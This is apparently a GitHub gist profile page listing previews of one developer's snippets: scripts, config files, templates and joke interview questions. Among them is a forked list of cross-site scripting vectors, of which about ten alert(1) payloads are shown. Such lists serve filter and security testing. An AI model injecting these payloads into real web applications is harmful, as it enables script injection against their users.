Skip to content

Instantly share code, notes, and snippets.

View slavcodev's full-sized avatar
🙃
Enjoy coding ❤️

Slava Medvedev slavcodev

🙃
Enjoy coding ❤️
View GitHub Profile
@slavcodev
slavcodev / вопросы-для-IT-собеседования
Created June 5, 2014 08:14
Нормальные вопросы для IT-собеседования
Вы ранее привлекались за хранение данных в глобальных переменных?
Вы когда-нибудь делали .Net за деньги?
Сформулируйте зависимость времени исправления критического бага от seniority присутствующего менеджера
В своём резюме вы указали знание php. вам не стыдно?
Перед вами кисть, холст и мольберт. напишите компилятор
@slavcodev
slavcodev / prom.py
Created October 19, 2023 23:53 — forked from cdump/prom.py
cleargrass prometheus
#!/usr/bin/python3
from time import sleep, time
import miio
from prometheus_client import start_http_server, Gauge
if __name__ == '__main__':
MONITOR_IP = '192.168.88.100'
MONITOR_TOKEN = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
@slavcodev
slavcodev / composer.json
Last active January 4, 2022 23:08
Composer useful scripts
{
"scripts": {
"test": "phpunit",
"test-coverage": "phpunit --coverage-clover build/logs/clover.xml",
"show-coverage": "phpunit --coverage-text=php://stdout",
"report-coverage": "phpunit --coverage-html build/logs/report",
"diff-files": "f() { git diff --name-only --diff-filter=ACMRTUXB $1 | grep -ivE composer\\.\\|\\.git ; }; f",
"cs": "f() { if test \"$1\"; then php-cs-fixer fix --dry-run --config=.php_cs -v --using-cache=no --diff --diff-format=udiff --ansi $1 ; else echo \"Nothing to fix\" ; fi ; }; f",
"cs-fix": "f() { if test \"$1\"; then php-cs-fixer fix --config=.php_cs -v --using-cache=no --diff --diff-format=udiff --ansi $1 ; else echo \"Nothing to fix\" ; fi ; }; f",
#!/bin/bash
###
### my-script — does one thing well
###
### Usage:
### my-script <input> <output>
###
### Options:
### <input> Input file to read.
### <output> Output file to write. Use '-' for stdout.
@slavcodev
slavcodev / es_custom_fields.sh
Created January 29, 2020 17:24 — forked from 2e3s/es_custom_fields.sh
Custom Fields By Elasticsearch
#!/bin/sh
echo "Create index: "
# 64-bit long (-2^63..2^63-1) and double values are used
# all fields can take arrays as well but it's not possible to mix the types
curl -XPOST localhost:9200/transaction_temp -d '{
"mappings" : {
"live" : {
"_source" : { "enabled" : true },
"dynamic" : false,
@slavcodev
slavcodev / RouterTest.php
Last active November 15, 2019 10:43
Routers Benchmark
<?php
declare(strict_types=1);
use FastRoute\RouteCollector;
use Symfony\Component\Routing\Matcher\CompiledUrlMatcher;
use Symfony\Component\Routing\Matcher\Dumper\CompiledUrlMatcherDumper;
use Symfony\Component\Routing\Matcher\UrlMatcher;
use Symfony\Component\Routing\RequestContext;
use Symfony\Component\Routing\Route;
@slavcodev
slavcodev / README-Template.md
Created April 23, 2019 14:01 — forked from PurpleBooth/README-Template.md
A template to make good README.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

@slavcodev
slavcodev / 666_lines_of_XSS_vectors.html
Created March 20, 2019 10:17 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@slavcodev
slavcodev / osx_bootstrap.sh
Created December 24, 2018 18:46 — forked from codeinthehole/osx_bootstrap.sh
Script to install stuff I want on a new OSX machine
#!/usr/bin/env bash
#
# Bootstrap script for setting up a new OSX machine
#
# This should be idempotent so it can be run multiple times.
#
# Some apps don't have a cask and so still need to be installed by hand. These
# include:
#
# - Twitter (app store)
@slavcodev
slavcodev / 1_phpunit-api.md
Created April 7, 2016 12:36 — forked from loonies/1_phpunit-api.md
PHPUnit Cheat Sheet

PHPUnit API reference

  • version 3.6

TODO

Check those constraints:

$this-&gt;anything()